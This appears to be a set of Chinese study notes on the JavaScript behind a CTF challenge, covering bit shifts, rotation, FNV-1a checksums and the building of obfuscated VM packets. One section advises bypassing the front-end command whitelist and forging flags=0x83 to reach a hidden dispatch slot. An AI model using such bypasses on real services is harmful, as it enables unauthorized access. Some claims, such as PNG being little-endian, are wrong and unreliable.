var b = 2;
function test() {}
这些声明都会挂载到全局对象:
javascript
window.a // 1
window.b // 2
window.test // function
潜在风险:
-
变量冲突:
javascript// 其他脚本 var a = 999; // 覆盖原有变量 -
安全漏洞:
javascriptwindow.run = () => alert(1); // 恶意代码注入
使用IIFE的效果
javascript
(() => {
const a = 1;
function test(){}
})();
等价于:
javascript
function tmp(){
const a = 1;
}
tmp();
结果:
javascript
window.a // undefined
window.test // undefined
关键特性
- 变量隔离
- 创建私有作用域
<< 是 JavaScript(以及 C/C++/Java/Python 等大多数语言)中的左移位运算符(Left Shift)。
基本语法
a << b // 把 a 的二进制位向左移动 b 位
直观理解
// 假设我们有一个字节 0x1c(十进制 28)
const x = 0x1c;
// 二进制:0001 1100
// 左移 1 位
x << 1 // 0011 1000 = 0x38 = 56 (原数 × 2)
// 左移 2 位
x << 2 // 0111 0000 = 0x70 = 112 (原数 × 4)
// 左移 24 位(这题的关键!)
x << 24 // 0001 1100 0000...0000 = 0x1c000000

其实就是常量。

快速换算公式
| 左移位数 | 十六进制零个数 | 倍数关系 |
|---|---|---|
| 4位 | 1个零 | ×16 |
| 8位 | 2个零 | ×256 |
| 16位 | 4个零 | ×65536 |
| 24位 | 6个零 | ×16777216 |
| 32位 | 8个零 | 溢出变0 |
2的4次方是16所以是4个0对应一个十六进制
这段代码:
javascript
function rotl32(value, shift) {
return ((value << shift) | (value >>> (32 - shift))) >>> 0;
}
作用只有一个:
✅ 把 32 位整数向左"循环旋转" shift 位
英文叫:
👉 Rotate Left 32-bit(ROL32)
简称:循环左移
✅ 目标:
将一个 32 位整数 value 的二进制位 向左循环移动 shift 位。
举个例子(用 8 位简化说明):
0b11001010循环左移 3 位 →0b01010110(左边移出去的 3 位
110从右边补回来)
🧮 具体步骤(以 32 位为例)
假设 value = 0x12345678(32 位),shift = 5
-
value << shift- 把
value左移shift位 - 高位丢弃,低位补 0
- 例如:
0x12345678 << 5→ 低 27 位保留,高 5 位丢失
- 把
-
value >>> (32 - shift)- 把
value无符号右移(32 - shift)位 - 这会把原本要"循环回来"的高位移到低位
>>>是 无符号右移(逻辑右移),高位补 0(不是符号位!)
- 把
-
|(按位或)- 把左移的结果 和 右移的结果 合并
- 就得到了"循环左移"后的完整值
-
>>> 0- JS 中所有位运算结果都是 32 位有符号整数
- 用
>>> 0强制转为 32 位无符号整数 (等价于& 0xFFFFFFFF)
🌰 举个具体例子(32 位)
rotl32(0x12345678, 8)
- 原始值:
00010010 00110100 01010110 01111000 - 左移 8 位:
00110100 01010110 01111000 00000000 - 右移 24 位(32-8):
00000000 00000000 00000000 00010010 - 按位或:
00110100 01010110 01111000 00010010→0x34567812
✅ 这就是 循环左移 8 位 的结果!
✅ 简短回答:
是的,在 JavaScript 中,
<<左移操作总是低位补 0,高位直接丢弃
🔹 一、>>> 是什么?
在 JavaScript 中,>>> 叫做 无符号右移(Zero-fill right shift)。
对比三种右移:
表格
| 操作符 | 名称 | 行为 |
|---|---|---|
>> |
算术右移(有符号) | 高位补 符号位(正数补 0,负数补 1) |
>>> |
逻辑右移(无符号) | 高位永远补 0,不管原数正负 |
🌰 举个例子(32 位):
let x = -1; // 二进制:11111111 11111111 11111111 11111111
x >> 1 // → -1 (高位补 1,还是全 1)
x >>> 1 // → 2147483647 (高位补 0 → 011111...1)
再比如:
0x80000000 // 这是 2147483648,但在 JS 里会被当作 -2147483648(因为超出 32 位有符号范围)
(0x80000000) >> 1 // → -1073741824(符号扩展)
(0x80000000) >>> 1 // → 1073741824(高位补 0,正确无符号值)
✅ 所以在处理 二进制协议、哈希、加密 时,必须用
>>>来避免符号干扰!
🔹 二、为什么"按位或(|)"可以实现循环移位?
这是位运算的精妙之处!我们用 8 位简化版 来理解(原理一样,只是位数少)。
目标:把 11001010(0xCA)循环左移 3 位
期望结果:
- 原始:
11001010 - 左移 3 位(普通):
01010000(左边 3 位110丢了) - 循环左移:把丢掉的
110补到右边 →01010110
怎么做到?分两步:
步骤 1️⃣:左移 n 位 → 得到主体部分
11001010 << 3 = 01010000
(高位丢弃,低位补 0)
步骤 2️⃣:右移 (总位数 - n) 位 → 得到要"绕回来"的部分
11001010 >>> (8 - 3) = 11001010 >>> 5 = 00000110
(把左边要丢的 3 位移到右边)
步骤 3️⃣:把两部分 按位或(|)
01010000 ← 左移结果
| 00000110 ← 右移结果
-----------
01010110 ← 完美!就是循环左移结果
✅ 按位或的作用:把两个不重叠的位段"拼起来"!
因为:
- 左移后的低
n位全是 0- 右移后的高
(32-n)位全是 0- 所以它们的 1 的位置完全不重叠 ,
|就等于"合并"
🧠 回到 32 位的 rotl32:
(value << shift) // 主体左移,低 shift 位 = 0
(value >>> (32 - shift)) // 被挤出去的高 shift 位,移到低 shift 位
| // 合并 → 完整循环左移!
好吧其实记住循环左移是啥就行了。

一、先搞懂:0b 是什么?和 0x 有啥区别?
0b/0x都是 JavaScript 中数字的字面量前缀,只是表示的进制不同,核心都是同一个数字,只是写法不一样:
| 前缀 | 进制 | 例子(对应十进制 145) | 用途 |
|---|---|---|---|
0b |
二进制 | 0b10010001 |
直观展示 "每一位的二进制值"(适合位运算场景,比如循环移位) |
0x |
十六进制 | 0x91(因为 145=9*16+1) |
适合简写(二进制 8 位 = 十六进制 2 位) |
| 无前缀 | 十进制 | 145 |
日常数字写法 |
javascript
function fnv1a32(bytes) {
let hash = 0x811c9dc5;
for (let i = 0; i < bytes.length; i += 1) {
hash ^= bytes[i];
hash = (hash * 0x01000193) >>> 0;
}
return hash >>> 0;
}
这是 FNV-1a 哈希算法(Fowler-Noll-Vo variant 1a),一种快速、简单的非加密哈希函数。
初始值:hash = 0x811c9dc5(FNV偏移基值,魔数)
对每个字节:
1. hash = hash XOR 当前字节 (异或混合)
2. hash = hash × 0x01000193 (乘FNV质数,扩散)
最后返回 hash
回到你题目:
javascript
const checksum = fnv1a32(body);
packet.set(u32le(checksum), body.length);
意思:
👉 给 packet 做校验。
但你能算 → 等于没防
总结
| 问题 | 答案 |
|---|---|
| 这是啥? | FNV-1a 32位哈希 |
| 加密吗? | 不加密,只是完整性校验 |
| 能破解吗? | 不需要破解,直接复刻算法 |
| 为什么用? | 快、简单、够用的校验 |
| 攻击注意? | 改任何字节都要重新算 checksum! |
javascript
function encodeOp(opId, nonceLow32) {
const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
const base = ((opId ^ K1) + rot) >>> 0;
return ((base ^ K3) | 0x80000000) >>> 0;
}
opId
↓ xor K1
↓ 加 nonce 扰动
↓ xor K3
↓ 强制最高位1
= opcode
1. & ------ 按位与(AND)
✅ 规则:
对两个数的每一位进行比较:
-
只有当 两个位都是 1 时,结果才是 1
-
否则为 0
00000101 (5)& 00000011 (3)
00000001 → 结果是 1
🔹 2. ^------ 按位异或(XOR)
✅ 规则:
对两个数的每一位进行比较:
- 相同为 0,不同为 1
🔍 逐行解析 encodeOp
第 1 行:生成动态旋转偏移量
const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
分步解释:
-
nonceLow32 ^ K2nonceLow32:8 字节随机数(nonce)的低 32 位(每次请求都不同)- 和密钥
K2异或 → 引入 随机性 + 密钥保护
-
rotl32(..., ROT)- 对结果循环左移
ROT=11位 → 打乱 bit 位置(扩散)
- 对结果循环左移
-
& 0xfffffffc- 清除最低 2 位(强制最后两位为 0)
- 目的:确保
rot是 4 的倍数(后面用于地址对齐?或隐藏信息?)
✅ 结果 :rot 是一个 依赖 nonce 和密钥的动态偏移量,每次 packet 都不同!
第 2 行:计算基础值
const base = ((opId ^ K1) + rot) >>> 0;
-
opId ^ K1- 原始指令 ID(如 ECHO=0)与密钥
K1异或 → 静态混淆
- 原始指令 ID(如 ECHO=0)与密钥
-
+ rot- 加上前面生成的动态偏移量 → 让最终 opCode 每次都变
✅ 这一步把 静态指令 和 动态 nonce 结合起来了!
第 3 行:最终混淆 + 标记
return ((base ^ K3) | 0x80000000) >>> 0;
-
base ^ K3- 再次用密钥
K3异或 → 多一层混淆
- 再次用密钥
-
| 0x80000000- 强制最高位(bit 31)为 1
- 效果:最终 opCode 一定 ≥
0x80000000(即 ≥ 2147483648)
💡 为什么这么做?
- 后端可能用最高位判断"这是合法混淆过的 opcode"
- 防止攻击者传入小数值(如 0,1,2)绕过检查
- 在有符号整数中,这会让值变成负数,但后端用无符号处理
-
>>> 0- 确保返回 无符号 32 位整数
🎯 整体目的总结
| 步骤 | 作用 |
|---|---|
| 引入 nonce | 让每次生成的 opCode 都不同(防重放) |
| 三层密钥混淆(K1/K2/K3) | 防止静态分析出原始 opId |
| 强制最高位为 1 | 添加合法性标记,阻止直接使用原始 opId(0/1/2) |
| 动态 + 静态结合 | 即使你知道算法,没有 nonce 也无法伪造 |
这三个函数是 前端将二进制数据打包成 Base64 字符串 的关键工具,用于构造发往后端的 packet_b64。我们逐个解释它们的作用、原理和为什么这样写。
🔹 1. u32le(value) ------ 把 32 位整数转成 小端序(Little Endian)字节数组
✅ 目的:
把一个数字(如 0x12345678)拆成 4 个字节,并按 低位在前 的顺序排列。
📌 小端序(LE) vs 大端序(BE)
| 数值(十六进制) | 小端序(内存/网络常见) | 大端序 |
|---|---|---|
0x12345678 |
[0x78, 0x56, 0x34, 0x12] |
[0x12, 0x34, 0x56, 0x78] |
💡 x86 CPU、大多数协议(如 PNG、ZIP、你这个 CTF 题)都用 小端序!
🔍 代码解析:
function u32le(value) {
return [
value & 0xff, // 取最低 8 位(byte 0)
(value >>> 8) & 0xff, // 取第 8~15 位(byte 1)
(value >>> 16) & 0xff,// 取第 16~23 位(byte 2)
(value >>> 24) & 0xff // 取最高 8 位(byte 3)
];
}
🌰 例子:
u32le(0x12345678)
// 返回: [0x78, 0x56, 0x34, 0x12]
✅ 这就是标准的小端序表示!
🔹 2. u16le(value) ------ 把 16 位整数转成 小端序字节数组
原理同上,只是 2 字节:
function u16le(value) {
return [
value & 0xff, // 低字节
(value >>> 8) & 0xff // 高字节
];
}
🌰 例子:
u16le(0x1234)
// 返回: [0x34, 0x12]
💡 在你的 packet 协议中,
arg_len(参数长度)就是用u16le写入的!
🔹 3. toBase64(bytes) ------ 把 Uint8Array 转成 Base64 字符串
✅ 目的:
浏览器原生的 btoa() 只能处理字符串 ,不能直接处理二进制数组。
所以需要先把 bytes(如 [72, 101, 108])转成"伪字符串",再调用 btoa。
🔍 代码解析:
function toBase64(bytes) {
let binary = '';
for (let i = 0; i < bytes.length; i++) {
// 把每个字节当作 Latin-1 字符(0~255 映射到 Unicode U+0000~U+00FF)
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary); // btoa 编码为 Base64
}
🌰 例子:
toBase64([72, 101, 108])
// Step1: binary = "Hel" (因为 H=72, e=101, l=108)
// Step2: btoa("Hel") → "SGVs"
⚠️ 注意:这不是 UTF-8!而是 Latin-1(ISO-8859-1)编码,每个字节直接对应一个字符。
javascript
function parseScript(text) {
// 1. 按行分割、去空格、过滤空行
const lines = text.split(/\r?\n/).map((line) => line.trim()).filter(Boolean);
// 2. 把每一行解析成 { op: "ECHO", arg: "hello" } 这样的对象
return lines.map((line) => {
// 3. 用空白符(空格、制表符等)分割命令和参数
const [cmd, ...rest] = line.split(/\s+/);
// 4. 把参数部分重新拼成字符串(支持带空格的参数)
const arg = rest.join(' ');
// 5. 命令转大写(不区分大小写)
const upper = cmd.toUpperCase();
// 6. 只允许三个公开指令,否则报错
if (!['ECHO', 'LEN', 'HASH'].includes(upper)) {
throw new Error(`Unknown command: ${cmd}`);
}
// 7. 返回结构化指令
return { op: upper, arg };
});
}
🌰 举个例子
假设用户在输入框写了:
echo Hello World
LEN my string
hash secret
经过 parseScript 处理后,返回:
[
{ op: "ECHO", arg: "Hello World" },
{ op: "LEN", arg: "my string" },
{ op: "HASH", arg: "secret" }
]
✅ 它做了这些事:
- 忽略空行
- 去掉每行首尾空格
- 命令不区分大小写(
echo→ECHO) - 参数支持空格(
Hello World不会被截断) - 阻止使用未公开指令(如
SECRET)
但是前端限制
markdown
# 代码解析:文本处理三连击
## 核心操作分解
```javascript
const lines = text.split(/\r?\n/).map(line => line.trim()).filter(Boolean);
等效分步实现:
javascript
let a = text.split(/\r?\n/);
let b = a.map(line => line.trim());
let c = b.filter(Boolean);
const lines = c;
逐步解析
第一步:拆分文本行
text.split(/\r?\n/)
javascript
let text = " ECHO hi \n\n LEN test \n";
[ " ECHO hi ", "", " LEN test ", "" ]
第二步:去除空白字符
.map(line => line.trim())
处理效果:
[" a ", " b "].map(x => x.trim()) → ["a","b"]
当前处理结果:
[ "ECHO hi", "", "LEN test", "" ]
第三步:过滤空行
.filter(Boolean)
等价于:
javascript
.filter(x => Boolean(x))
处理逻辑:
Boolean("")→ falseBoolean("abc")→ true
最终结果:
[ "ECHO hi", "LEN test" ]
后续处理
对处理后的行数组进一步操作:
javascript
lines.map(line => { ... })
示例转换:
["ECHO hi","LEN test"] → [ {op:"ECHO",arg:"hi"}, {op:"LEN",arg:"test"} ]
方法速查表
| 方法 | 作用 | 是否修改原数组 |
|---|---|---|
| map | 数据转换 | ❌ |
| filter | 数据筛选 | ❌ |
| split | 字符串拆分 | - |
实践建议
测试代码:
javascript
let text = " hi \n\n ok \n 123 ";
let lines = text.split(/\r?\n/).map(x => x.trim()).filter(Boolean);
console.log(lines);
核心总结
实现功能:
- 按行拆分文本
- 去除每行首尾空白
- 过滤空白行 最终获得标准化文本行数组。
**map((line) => { ... })**表示:
对数组中的每个元素执行指定函数。
分解说明: 1️⃣ map 方法的作用: 数组的 map 方法语法:
javascript
数组.map(函数)
功能:将数组每个元素传入指定函数进行处理。
2️⃣ 箭头函数 (line) => { ... }: 这是 ES6 的箭头函数语法,等价于:
javascript
function(line) {
...
}
完整示例:
javascript
lines.map((line) => {
return line + "!";
});
等价写法:
javascript
lines.map(function(line) {
return line + "!";
});

javascript
function buildPacket(ast) {
/* ================== 1. 生成随机 nonce ================== */
// 创建 8 字节的数组(初始全 0)
const nonce = new Uint8Array(8);
// 用安全随机数填充 nonce(原地修改)
crypto.getRandomValues(nonce);
// 取 nonce 前 4 字节,转成 32 位整数(小端)
const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
/* ================== 2. 读取 flags(调试模式) ================== */
// 如果勾选了调试模式 → flags=1,否则=0
const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00;
//如果 diagModeEl 存在 并且 被勾选
// → flags = 1
//否则
// → flags = 0
/* ================== 3. 初始化字节缓冲区 ================== */
// chunks 用来存放最终要发送的所有字节
const chunks = [];
/* ================== 4. 写入协议头 ================== */
// 写入魔数 "WVLT"(协议标识)
chunks.push(...encoder.encode('WVLT'));
// 写入版本号 0x01
chunks.push(0x01);
// 写入 8 字节随机 nonce
chunks.push(...nonce);
// 写入指令数量(1字节)
chunks.push(ast.length & 0xff);
/* ================== 5. 指令映射表 ================== */
// 把字符串命令映射为数字 opcode
const opMap = {
ECHO: 0,
LEN: 1,
HASH: 2
};
// 用于存调试信息(给前端看的)
const instructions = [];
/* ================== 6. 处理 flags 的符号位 ================== */
// 把 flags 转成有符号 int8
// 可能变成负数(用来走隐藏分支)
const signedFlags = (flags << 24) >> 24;
/* ================== 7. 处理每条指令 ================== */
ast.forEach((node) => {
/* ---- 7.1 获取 opcode ---- */
// 例如:ECHO → 0
const opId = opMap[node.op];
/* ---- 7.2 参数转字节 ---- */
// 把字符串参数转为 UTF-8 字节
const argBytes = encoder.encode(node.arg);
/* ---- 7.3 混淆 opcode ---- */
// 使用 nonce + 密钥加密 opcode
const opCode = encodeOp(opId, nonceLow32);
/* ---- 7.4 计算 VM 分发索引(漏洞点) ---- */
// 如果 flags 是负数 → 使用兼容分发模式
// 否则 → 正常分发
const dispatchIndex = signedFlags < 0
? (((signedFlags >>> 0) | opId) % 4)
: (opId % 4);
/* ---- 7.5 写入指令到字节流 ---- */
// 写入 4 字节 opcode(小端)
chunks.push(...u32le(opCode));
// 写入 1 字节 flags
chunks.push(flags);
// 写入 2 字节参数长度
chunks.push(...u16le(argBytes.length));
// 写入参数内容
chunks.push(...argBytes);
/* ---- 7.6 保存调试信息 ---- */
instructions.push({
op: node.op, // 指令名
op_id: opId, // opcode
flags, // 原始 flags
signed_flags: signedFlags, // 有符号 flags
dispatch_index: dispatchIndex, // 分发索引
arg_len: argBytes.length // 参数长度
});
});
/* ================== 8. 生成完整 body ================== */
// 把数组转成真正的 Uint8Array
const body = Uint8Array.from(chunks);
/* ================== 9. 计算校验和 ================== */
// 使用 FNV1A 算法计算 hash
const checksum = fnv1a32(body);
/* ================== 10. 拼接校验和 ================== */
// 新建数组:body + 4字节校验
const packet = new Uint8Array(body.length + 4);
// 拷贝 body
packet.set(body, 0);
// 在末尾写入 checksum
packet.set(u32le(checksum), body.length);
/* ================== 11. 生成调试规则说明 ================== */
const dispatchRules = [
'signed_flags >= 0: dispatch index follows op_id',
'signed_flags < 0: compatibility dispatch uses flags in index',
'dispatch table has 4 slots (including internal diagnostic slot)'
];
/* ================== 12. 构造调试信息 ================== */
const meta = {
// 总长度
total_len: packet.length,
// 指令数量
count: ast.length,
// 当前模式
mode: flags === 1 ? 'diagnostic' : 'normal',
// flags 值
flags,
// 分发规则
dispatch_rules: dispatchRules,
// 每条指令信息
instructions
};
/* ================== 13. 返回结果 ================== */
// packet:真正发给服务器的
// meta:前端显示用
return {
packet,
meta
};
}
javascript
AST: [{op:"ECHO", arg:"hello"}]
↓
┌────────────────────────────────────────┐
│ 1. 生成随机 nonce(8字节) │
│ 2. 设置 flags(诊断模式?) │
│ 3. 拼包头(魔数+版本+nonce+指令数) │
│ 4. 对每个指令:编码 → 混淆 → 拼入 body │
│ 5. 计算校验和(FNV-1a) │
│ 6. 返回 packet + meta(调试用) │
└────────────────────────────────────────┘
↓
{ packet: Uint8Array, meta: {...} }
push 就是 数组自带的方法,用来往数组后面加东西。

... 就是:
👉 把「一坨数组」拆成「一个个元素」

TextEncoder 使用说明
1. 初始化编码器
javascript
const encoder = new TextEncoder();
创建一个文本编码器实例,默认采用 UTF-8 编码方案将字符串转换为字节数据。
2. 功能概述
JavaScript 内置的 TextEncoder 类专门用于:
- 将字符串转换为 UTF-8 编码的字节数组
等效于其他语言的实现:
- Python:
"abc".encode() - C 语言: utf8 编码
3. 编码示例
javascript
encoder.encode('WVLT')
编码过程
"W" → 0x57 → 87
"V" → 0x56 → 86
"L" → 0x4C → 76
"T" → 0x54 → 84
返回结果
javascript
Uint8Array([87, 86, 76, 84])
4. 验证方法
在浏览器控制台执行:
javascript
const enc = new TextEncoder();
console.log(enc.encode("WVLT"));

Uint8Array 不是普通数组,它是「带元数据的对象」。
你看到的那些"多出来的东西"是它的属性,不是数据。
为什么不能直接用字符串或数字,而要转成字节数组(Uint8Array)再拼 packet?
答案是:因为网络协议和二进制文件只认"字节",不认 JavaScript 的字符串或数字!
1️⃣ JavaScript 的数据类型 ≠ 二进制格式
| JS 类型 | 实际内存表示 | 协议需要的格式 |
|---|---|---|
"WVLT" |
UTF-16 字符串(每个字符 2 字节) | UTF-8 字节(每个字符 1 字节) |
12345 |
64 位浮点数(IEEE 754) | 32 位小端整数(4 字节) |
✅ 所以必须用 TextEncoder、u32le 等工具 转换成标准字节序列。
javascript
const signedFlags = (flags << 24) >> 24;
它其实是在 把一个 8 位无符号整数(0~255)当作有符号字节(-128 ~ 127)
在 JS 里:
👉 一旦用位运算:
数字会先变成 32 位有符号整数
范围:
-2^31 ~ 2^31-1
这是关键。
👉 JavaScript 当年设计时,为了性能和兼容 C,规定:位运算只能在 int32 上跑。
所以:
所有位运算 → 自动转 int32。
这是写进语言规范里的。

二、forEach 方法解析
ast.forEach((node) => { ... })
该方法的作用是遍历 ast 数组中的每个元素,并对每个元素执行指定的回调函数。
其功能等价于以下 for 循环:
for (let i = 0; i < ast.length; i++) { let node = ast[i]; // 执行操作 }
其中,node 参数代表数组中的单个元素,例如一个指令对象:
{ op: "ECHO", arg: "hello" }

{ op: "ECHO", arg: "hello" } 是一个 JavaScript 对象。
可以理解为:
- 一个小型键值对集合(类似字典)
- 一个数据结构容器(类似盒子)
- 一个简单的结构化数据单元
该对象包含两个属性:
op属性值为"ECHO"arg属性值为"hello"
访问属性的两种方式:
- 点表示法:
node.op - 方括号表示法:
node["op"]
这两种访问方式是等效的。
👉 90% 的对象,本质就是这种结构:
{ key: value, key2: value2, ... }
javascript
const dispatchIndex = signedFlags < 0
? (((signedFlags >>> 0) | opId) % 4)
: (opId % 4);
条件 ? 表达式1 : 表达式2
- 如果
条件为真(truthy),整个表达式的值是表达式1 - 否则,值是
表达式2
const signedFlags = (flags << 24) >> 24;
opId = opMap[node.op];这里opid是取的已有的,正常不会有3
👉 encoder.encode() 只是把字符串变成字节
👉 Uint8Array.from(chunks) 是把所有零散字节拼成一个整体包

将数据包内容从起始位置开始复制:
javascript
packet.set(body, 0); // 从索引0开始复制body数组内容
等价实现方式:
javascript
for (let i = 0; i < body.length; i++) {
packet[i] = body[i];
}
在数据包末尾写入校验和:
javascript
packet.set(u32le(checksum), body.length); // 将校验和写入body末尾
u32le函数说明:
javascript
// 返回32位整数的小端字节序数组
// 示例:checksum = 0x12345678
// 输出:[0x78, 0x56, 0x34, 0x12]
实际写入过程:
javascript
packet[body.length] = 0x78; // 最低字节
packet[body.length+1] = 0x56;
packet[body.length+2] = 0x34;
packet[body.length+3] = 0x12; // 最高字节

✅ 一、解析代码语句:
chunks.push(...encoder.encode('WVLT'));
分步解析:
1️⃣ encoder.encode('WVLT') 执行结果:
javascript
Uint8Array [87, 86, 76, 84]
2️⃣ 展开运算符 ... 的作用:
javascript
...Uint8Array
等价于:
87, 86, 76, 84
3️⃣ push(...) 的最终效果:
javascript
chunks.push(87, 86, 76, 84);
✅ 二、当前 chunks 的数据结构 示例:
javascript
chunks = [87, 86, 76, 84, 1, 52, 18, ...]
性质说明: 👉 这是一个普通的 JavaScript 数组(Array) 👉 不是二进制 buffer
✅ 三、Array 与 Uint8Array 的核心差异(关键点) 虽然表面相似:
javascript
[65, 66, 67] 和 Uint8Array [65, 66, 67]
但底层实现完全不同:
🔴 普通 Array
javascript
let a = [65, 66, 67];
特性:
- 元素存储为 JS Number(64位浮点)
- 内存非连续分配
- 包含对象包装
- 不能直接作为字节流传输 类比: 📦 散装零件的收纳盒
🟢 Uint8Array
javascript
let b = new Uint8Array([65, 66, 67]);
特性:
- 每个元素占 1 字节
- 内存连续分配
- 无对象包装
- 可直接用于网络传输 类比: 📦 密封完好的金属块
✅ 关于 packet.set() 方法的使用说明
packet 是一个 Uint8Array,而 set 是 TypedArray(类型化数组)的内置方法,主要用于字节块的拷贝。
这个知识点在协议解析 / 二进制处理 / CTF 中非常常见,务必掌握!
✅ 一、set 方法的标准语法
js
typedArray.set(source, offset)
适用类型 :
Uint8Array、Int32Array、Float64Array 等所有 TypedArray。
参数说明:
-
source(数据源)可以是:
- 普通数组:
[1, 2, 3] Uint8Array:new Uint8Array(...)- 其他
TypedArray
- 普通数组:
-
offset(起始位置)- 表示从目标数组的第几个字节开始写入数据。
- 单位是字节索引(不是位)。
✅ 二、题目中的代码解析
js
packet.set(body, 0);
含义:
- 从
packet[0]开始 - 将
body的全部内容复制到packet中
等价于:
js
for (let i = 0; i < body.length; i++) {
packet[i] = body[i];
}
以下是 JavaScript 中数组字面量的写法:
javascript
const dispatchRules = ['规则1', '规则2', '规则3'];
这种写法等价于使用 Array 构造函数:
javascript
const dispatchRules = new Array('规则1', '规则2', '规则3');
不过现在更推荐使用方括号 [] 的简洁写法。
javascript
async function run() {
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';
let ast;
try {
ast = parseScript(scriptEl.value);
} catch (err) {
outputEl.textContent = err.message;
return;
}
异步函数解析流程解析
一、异步函数定义
javascript
async function run() {
- 这是一个异步函数声明
- 特点:
- 函数内部可以使用
await - 默认返回
Promise对象
- 函数内部可以使用
- 典型应用场景:处理网络请求、I/O操作、加密运算等耗时操作
二、界面初始化
javascript
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';
-
元素说明:
statusEl:状态显示区域
-
outputEl:输出结果显示区域packetEl:二进制数据显示区域
-
功能说明:
代码行 功能 statusEl清空状态显示 outputEl显示运行中状态 packetEl清空二进制数据
三、变量声明
javascript
let ast;
- 在函数作用域内预先声明
ast变量 - 后续将在
try块中进行赋值
四、异常处理机制
javascript
try {
ast = parseScript(scriptEl.value);
} catch (err) {
outputEl.textContent = err.message;
return;
}
解析过程说明
-
parseScript(scriptEl.value):- 获取输入框内容
- 解析为抽象语法树(AST)
示例转换:
text输入:ECHO hello LEN abc 输出: [ { op:"ECHO", arg:"hello" }, { op:"LEN", arg:"abc" } ]
异常处理必要性
-
可能出现的错误情况(如非法输入):
textECHO ??? 123123 -
未处理异常的后果:
- JavaScript执行中断
- 页面功能失效
catch块功能
- 捕获解析错误
- 在输出区域显示错误信息
- 通过
return终止函数继续执行
五、执行流程图解
六、最小化示例
javascript
async function test() {
let x;
try {
x = JSON.parse("{bad json}");
} catch (e) {
console.log("出错了:", e.message);
return;
}
console.log("成功:", x);
}
test();
- 此示例会触发
catch块执行
javascript
async function run() {
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';
let ast;
try {
ast = parseScript(scriptEl.value);
} catch (err) {
outputEl.textContent = err.message;
return;
}
try {
const diagMode = diagModeEl && diagModeEl.checked;
const built = buildPacket(ast);
const packetB64 = toBase64(built.packet);
packetEl.textContent = packetB64;
if (diagMode) {
outputEl.textContent = JSON.stringify(built.meta, null, 2);
}
const response = await fetch('/api/vm', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ packet_b64: packetB64 })
});
const data = await response.json();
if (!data.ok) {
outputEl.textContent = data.error || 'error';
return;
}
if (diagMode) {
const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
outputEl.textContent = JSON.stringify(meta, null, 2);
} else {
outputEl.textContent = data.output_utf8 || '(empty)';
}
} catch (err) {
outputEl.textContent = 'request failed';
}
}
runBtn.addEventListener('click', run);
async 是啥
🧩 整体目标 用户通过在文本框中输入指令(如 ECHO hello)→ 点击 "Run" → 后端执行指令 → 显示输出结果
⚠️ CTF 技巧:可以绕过前端限制,触发隐藏指令!
🔍 实现细节解析 1️⃣ 初始化界面状态
js
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';
清除之前的状态,显示"(running)"提示
2️⃣ 解析用户脚本(前端限制点)
js
let ast;
try {
ast = parseScript(scriptEl.value); // 仅允许ECHO/LEN/HASH指令
} catch (err) {
outputEl.textContent = err.message;
return;
}
✅ 关键点:parseScript会拒绝非法指令(如SECRET) ❌ 但后端不验证指令名称,只根据packet中的dispatch_index执行 💡 CTF提示:可以直接构造AST绕过parseScript限制(如[{op:"ECHO",arg:"test"}])
3️⃣ 构造并发送数据包
js
const diagMode = diagModeEl && diagModeEl.checked;
const built = buildPacket(ast); // 核心编译逻辑
const packetB64 = toBase64(built.packet);
packetEl.textContent = packetB64; // 显示Base64格式数据包(调试用)
⚠️ CTF关键: buildPacket默认使用flags = 0x00或0x01(由复选框控制) 但可以修改buildPacket或手动构造数据包,设置flags = 0x83 这样即使AST是合法的ECHO指令,后端也会执行dispatch_index = 3(隐藏指令)
4️⃣ 诊断模式处理
js
if (diagMode) {
outputEl.textContent = JSON.stringify(built.meta, null, 2); // 显示元数据
}
built.meta包含dispatch_index、signed_flags等关键信息 题目提示:
json
"dispatch_rules": [
"signed_flags >= 0: dispatch index follows op_id",
"signed_flags < 0: compatibility dispatch uses flags in index"
]
💡 明确说明:当signed_flags < 0时,可以通过flags控制指令分发!
5️⃣ 发送后端请求
js
const response = await fetch('/api/vm', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ packet_b64: packetB64 })
});
后端处理流程:
- Base64解码
- 验证Magic值(WVLT)
- 验证校验和
- 解析指令
- 根据
dispatch_index执行对应处理程序
6️⃣ 处理响应
js
if (!data.ok) {
outputEl.textContent = data.error || 'error';
return;
}
if (diagMode) {
// 显示完整元数据+输出
const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
outputEl.textContent = JSON.stringify(meta, null, 2);
} else {
outputEl.textContent = data.output_utf8 || '(empty)';
}
- 正常模式:仅显示输出内容(如"hello")
- 诊断模式:显示完整元数据+输出(便于调试
dispatch_index)
JavaScript 异步函数(async)详解
1️⃣ async 是什么?
在 JavaScript 中:
javascript
async function run() { ... }
表示定义一个异步函数(asynchronous function),具有以下特性:
- 函数内部可以使用
await关键字 - 函数本身返回 Promise 对象
- 返回值会自动包装成 Promise
2️⃣ 基础示例
javascript
async function foo() { return 42; }
console.log(foo()); // 输出: Promise { 42 }
foo().then(x => console.log(x)); // 输出: 42
🔹 注意:虽然函数直接返回 42,但 JavaScript 会自动将其包装为 Promise。

3️⃣ 为什么要使用 async?
以网络请求(fetch)为例:
javascript
const res = fetch('/api/data');
fetch 返回的是 Promise 对象。
传统写法:
javascript
fetch('/api/data')
.then(res => res.json())
.then(data => console.log(data));
使用 async/await:
javascript
async function getData() {
const res = await fetch('/api/data');
const data = await res.json();
console.log(data);
}
✅ 优势:代码逻辑更接近同步流程,大幅提升可读性。
4️⃣ 实际应用示例
javascript
const response = await fetch('/api/vm', { ... });
const data = await response.json();
await fetch(...):等待 fetch 操作完成await response.json():等待 JSON 解析完成
⚠️ 注意:必须在使用 await 的函数前声明 async,否则会报错。
await = "等一下,让我拿到结果再继续"
async = "我是个异步函数,别着急,我会给你一个 Promise"
javascript
const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
分析:
{ ...built.meta }
叫 展开运算符(spread syntax)
